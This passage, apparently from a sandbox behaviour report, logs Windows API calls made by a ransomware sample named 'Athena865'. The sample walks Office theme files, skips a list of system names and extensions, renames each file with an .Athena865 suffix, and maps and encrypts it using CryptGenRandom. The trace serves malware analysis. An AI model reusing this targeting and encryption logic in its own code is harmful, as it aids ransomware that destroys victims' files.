Size=0x6c) returned 0x540d48 [0136.878] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0136.878] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0136.878] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0136.879] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.879] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xaab0, lpName=0x0) returned 0x17c [0136.880] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xaab0) returned 0x100000 [0136.882] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0136.883] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0136.883] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.883] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0136.883] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0136.883] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0136.884] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0136.884] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0136.884] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0136.884] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0136.884] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0136.884] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0136.884] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0136.884] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0136.885] CloseHandle (hObject=0x17c) returned 1 [0136.885] CloseHandle (hObject=0x154) returned 1 [0136.885] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0136.885] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0136.885] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0136.885] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x465d9a00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59db6e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x465d9a00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x8032, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Clarity.eftx", cAlternateFileName="CLARIT~1.EFT")) returned 1 [0136.885] lstrcmpiW (lpString1="Clarity.eftx", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0136.885] lstrcmpiW (lpString1="Clarity.eftx", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0136.885] lstrcmpiW (lpString1="Clarity.eftx", lpString2=".") returned 1 [0136.885] lstrcmpiW (lpString1="Clarity.eftx", lpString2="..") returned 1 [0136.885] lstrcmpiW (lpString1="Clarity.eftx", lpString2="windows") returned -1 [0136.886] lstrcmpiW (lpString1="Clarity.eftx", lpString2="bootmgr") returned 1 [0136.886] lstrcmpiW (lpString1="Clarity.eftx", lpString2="temp") returned -1 [0136.886] lstrcmpiW (lpString1="Clarity.eftx", lpString2="pagefile.sys") returned -1 [0136.886] lstrcmpiW (lpString1="Clarity.eftx", lpString2="boot") returned 1 [0136.886] lstrcmpiW (lpString1="Clarity.eftx", lpString2="ids.txt") returned -1 [0136.886] lstrcmpiW (lpString1="Clarity.eftx", lpString2="ntuser.dat") returned -1 [0136.886] lstrcmpiW (lpString1="Clarity.eftx", lpString2="perflogs") returned -1 [0136.886] lstrcmpiW (lpString1="Clarity.eftx", lpString2="MSBuild") returned -1 [0136.886] lstrlenW (lpString="Clarity.eftx") returned 12 [0136.886] lstrcpyW (in: lpString1=0x241e8ce, lpString2="Clarity.eftx" | out: lpString1="Clarity.eftx") returned="Clarity.eftx" [0136.886] lstrlenW (lpString="Clarity.eftx") returned 12 [0136.886] lstrlenW (lpString="Athena865") returned 9 [0136.886] lstrcmpiW (lpString1="rity.eftx", lpString2="Athena865") returned 1 [0136.886] lstrlenW (lpString=".dll") returned 4 [0136.886] lstrcmpiW (lpString1="Clarity.eftx", lpString2=".dll") returned 1 [0136.886] lstrlenW (lpString=".lnk") returned 4 [0136.886] lstrcmpiW (lpString1="Clarity.eftx", lpString2=".lnk") returned 1 [0136.886] lstrlenW (lpString=".ini") returned 4 [0136.886] lstrcmpiW (lpString1="Clarity.eftx", lpString2=".ini") returned 1 [0136.886] lstrlenW (lpString=".sys") returned 4 [0136.886] lstrcmpiW (lpString1="Clarity.eftx", lpString2=".sys") returned 1 [0136.886] lstrlenW (lpString="Clarity.eftx") returned 12 [0136.886] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx.Athena865") returned 89 [0136.887] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\clarity.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\clarity.eftx.athena865"), dwFlags=0x1) returned 1 [0136.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\clarity.eftx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0136.888] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=32818) returned 1 [0136.888] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0136.889] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0136.889] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0136.889] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0136.889] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0136.889] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.890] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8340, lpName=0x0) returned 0x17c [0136.891] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8340) returned 0x100000 [0136.893] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0136.894] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0136.894] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.894] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0136.894] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0136.894] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0136.894] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0136.894] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0136.894] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0136.894] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0136.895] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0136.895] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0136.895] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0136.895] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0136.895] CloseHandle (hObject=0x17c) returned 1 [0136.895] CloseHandle (hObject=0x154) returned 1 [0136.895] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0136.895] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0136.896] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0136.896] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6db46700, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a01840, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6db46700, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x825e4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Composite.eftx", cAlternateFileName="COMPOS~1.EFT")) returned 1 [0136.896] lstrcmpiW (lpString1="Composite.eftx", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0136.896] lstrcmpiW (lpString1="Composite.eftx", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0136.896] lstrcmpiW (lpString1="Composite.eftx", lpString2=".") returned 1 [0136.896] lstrcmpiW (lpString1="Composite.eftx", lpString2="..") returned 1 [0136.896] lstrcmpiW (lpString1="Composite.eftx", lpString2="windows") returned -1 [0136.896] lstrcmpiW (lpString1="Composite.eftx", lpString2="bootmgr") returned 1 [0136.896] lstrcmpiW (lpString1="Composite.eftx", lpString2="temp") returned -1 [0136.896] lstrcmpiW (lpString1="Composite.eftx", lpString2="pagefile.sys") returned -1 [0136.896] lstrcmpiW (lpString1="Composite.eftx", lpString2="boot") returned 1 [0136.896] lstrcmpiW (lpString1="Composite.eftx", lpString2="ids.txt") returned -1 [0136.896] lstrcmpiW (lpString1="Composite.eftx", lpString2="ntuser.dat") returned -1 [0136.896] lstrcmpiW (lpString1="Composite.eftx", lpString2="perflogs") returned -1 [0136.896] lstrcmpiW (lpString1="Composite.eftx", lpString2="MSBuild") returned -1 [0136.896] lstrlenW (lpString="Composite.eftx") returned 14 [0136.896] lstrcpyW (in: lpString1=0x241e8ce, lpString2="Composite.eftx" | out: lpString1="Composite.eftx") returned="Composite.eftx" [0136.896] lstrlenW (lpString="Composite.eftx") returned 14 [0136.897] lstrlenW (lpString="Athena865") returned 9 [0136.897] lstrcmpiW (lpString1="site.eftx", lpString2="Athena865") returned 1 [0136.897] lstrlenW (lpString=".dll") returned 4 [0136.897] lstrcmpiW (lpString1="Composite.eftx", lpString2=".dll") returned 1 [0136.897] lstrlenW (lpString=".lnk") returned 4 [0136.897] lstrcmpiW (lpString1="Composite.eftx", lpString2=".lnk") returned 1 [0136.897] lstrlenW (lpString=".ini") returned 4 [0136.897] lstrcmpiW (lpString1="Composite.eftx", lpString2=".ini") returned 1 [0136.897] lstrlenW (lpString=".sys") returned 4 [0136.897] lstrcmpiW (lpString1="Composite.eftx", lpString2=".sys") returned 1 [0136.897] lstrlenW (lpString="Composite.eftx") returned 14 [0136.897] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx.Athena865") returned 91 [0136.897] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\composite.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\composite.eftx.athena865"), dwFlags=0x1) returned 1 [0136.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\composite.eftx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0136.899] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=533988) returned 1 [0136.899] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0136.899] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0136.899] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0136.899] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0136.900] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0136.900] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.900] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x828f0, lpName=0x0) returned 0x17c [0136.901] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x828f0) returned 0x2bb0000 [0136.924] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0136.925] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0136.925] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.925] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0136.925] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0136.925] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0136.925] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0136.925] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0136.925] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0136.925] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0136.925] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0136.925] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0136.925] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0136.925] UnmapViewOfFile (lpBaseAddress=0x2bb0000) returned 1 [0136.930] CloseHandle (hObject=0x17c) returned 1 [0136.930] CloseHandle (hObject=0x154) returned 1 [0136.930] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0136.930] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0136.930] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0136.933] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2d000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a279a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xac2d000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x5791, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Concourse.eftx", cAlternateFileName="CONCOU~1.EFT")) returned 1 [0136.933] lstrcmpiW (lpString1="Concourse.eftx", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0136.933] lstrcmpiW (lpString1="Concourse.eftx", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0136.933] lstrcmpiW (lpString1="Concourse.eftx", lpString2=".") returned 1 [0136.933] lstrcmpiW (lpString1="Concourse.eftx", lpString2="..") returned 1 [0136.933] lstrcmpiW (lpString1="Concourse.eftx", lpString2="windows") returned -1 [0136.933] lstrcmpiW (lpString1="Concourse.eftx", lpString2="bootmgr") returned 1 [0136.933] lstrcmpiW (lpString1="Concourse.eftx", lpString2="temp") returned -1 [0136.933] lstrcmpiW (lpString1="Concourse.eftx", lpString2="pagefile.sys") returned -1 [0136.933] lstrcmpiW (lpString1="Concourse.eftx", lpString2="boot") returned 1 [0136.933] lstrcmpiW (lpString1="Concourse.eftx", lpString2="ids.txt") returned -1 [0136.933] lstrcmpiW (lpString1="Concourse.eftx", lpString2="ntuser.dat") returned -1 [0136.933] lstrcmpiW (lpString1="Concourse.eftx", lpString2="perflogs") returned -1 [0136.933] lstrcmpiW (lpString1="Concourse.eftx", lpString2="MSBuild") returned -1 [0136.933] lstrlenW (lpString="Concourse.eftx") returned 14 [0136.933] lstrcpyW (in: lpString1=0x241e8ce, lpString2="Concourse.eftx" | out: lpString1="Concourse.eftx") returned="Concourse.eftx" [0136.933] lstrlenW (lpString="Concourse.eftx") returned 14 [0136.933] lstrlenW (lpString="Athena865") returned 9 [0136.933] lstrcmpiW (lpString1="urse.eftx", lpString2="Athena865") returned 1 [0136.934] lstrlenW (lpString=".dll") returned 4 [0136.934] lstrcmpiW (lpString1="Concourse.eftx", lpString2=".dll") returned 1 [0136.934] lstrlenW (lpString=".lnk") returned 4 [0136.934] lstrcmpiW (lpString1="Concourse.eftx", lpString2=".lnk") returned 1 [0136.934] lstrlenW (lpString=".ini") returned 4 [0136.934] lstrcmpiW (lpString1="Concourse.eftx", lpString2=".ini") returned 1 [0136.934] lstrlenW (lpString=".sys") returned 4 [0136.934] lstrcmpiW (lpString1="Concourse.eftx", lpString2=".sys") returned 1 [0136.934] lstrlenW (lpString="Concourse.eftx") returned 14 [0136.934] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx.Athena865") returned 91 [0136.934] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\concourse.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\concourse.eftx.athena865"), dwFlags=0x1) returned 1 [0136.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\concourse.eftx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0136.938] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=22417) returned 1 [0136.938] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0136.938] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0136.938] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0136.938] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0136.939] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0136.939] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.939] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5aa0, lpName=0x0) returned 0x17c [0136.941] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5aa0) returned 0x100000 [0136.942] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0136.943] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0136.943] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.943] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0136.943] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0136.943] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0136.943] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0136.943] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0136.943] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0136.943] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0136.943] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0136.943] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0136.943] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0136.943] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0136.944] CloseHandle (hObject=0x17c) returned 1 [0136.944] CloseHandle (hObject=0x154) returned 1 [0136.944] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0136.944] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0136.944] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0136.944] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72791b00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a4db00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x72791b00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1e0721, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Couture.eftx", cAlternateFileName="COUTUR~1.EFT")) returned 1 [0136.944] lstrcmpiW (lpString1="Couture.eftx", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0136.944] lstrcmpiW (lpString1="Couture.eftx", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0136.944] lstrcmpiW (lpString1="Couture.eftx", lpString2=".") returned 1 [0136.944] lstrcmpiW (lpString1="Couture.eftx", lpString2="..") returned 1 [0136.944] lstrcmpiW (lpString1="Couture.eftx", lpString2="windows") returned -1 [0136.945] lstrcmpiW (lpString1="Couture.eftx", lpString2="bootmgr") returned 1 [0136.945] lstrcmpiW (lpString1="Couture.eftx", lpString2="temp") returned -1 [0136.945] lstrcmpiW (lpString1="Couture.eftx", lpString2="pagefile.sys") returned -1 [0136.945] lstrcmpiW (lpString1="Couture.eftx", lpString2="boot") returned 1 [0136.945] lstrcmpiW (lpString1="Couture.eftx", lpString2="ids.txt") returned -1 [0136.945] lstrcmpiW (lpString1="Couture.eftx", lpString2="ntuser.dat") returned -1 [0136.945] lstrcmpiW (lpString1="Couture.eftx", lpString2="perflogs") returned -1 [0136.945] lstrcmpiW (lpString1="Couture.eftx", lpString2="MSBuild") returned -1 [0136.945] lstrlenW (lpString="Couture.eftx") returned 12 [0136.945] lstrcpyW (in: lpString1=0x241e8ce, lpString2="Couture.eftx" | out: lpString1="Couture.eftx") returned="Couture.eftx" [0136.945] lstrlenW (lpString="Couture.eftx") returned 12 [0136.945] lstrlenW (lpString="Athena865") returned 9 [0136.945] lstrcmpiW (lpString1="ture.eftx", lpString2="Athena865") returned 1 [0136.945] lstrlenW (lpString=".dll") returned 4 [0136.945] lstrcmpiW (lpString1="Couture.eftx", lpString2=".dll") returned 1 [0136.945] lstrlenW (lpString=".lnk") returned 4 [0136.945] lstrcmpiW (lpString1="Couture.eftx", lpString2=".lnk") returned 1 [0136.945] lstrlenW (lpString=".ini") returned 4 [0136.945] lstrcmpiW (lpString1="Couture.eftx", lpString2=".ini") returned 1 [0136.945] lstrlenW (lpString=".sys") returned 4 [0136.945] lstrcmpiW (lpString1="Couture.eftx", lpString2=".sys") returned 1 [0136.945] lstrlenW (lpString="Couture.eftx") returned 12 [0136.945] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx.Athena865") returned 89 [0136.946] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\couture.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\couture.eftx.athena865"), dwFlags=0x1) returned 1 [0136.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\couture.eftx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0136.947] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1967905) returned 1 [0136.947] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0136.947] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0136.947] RtlAllocateHeap (HeapHandle=0x4f0000, 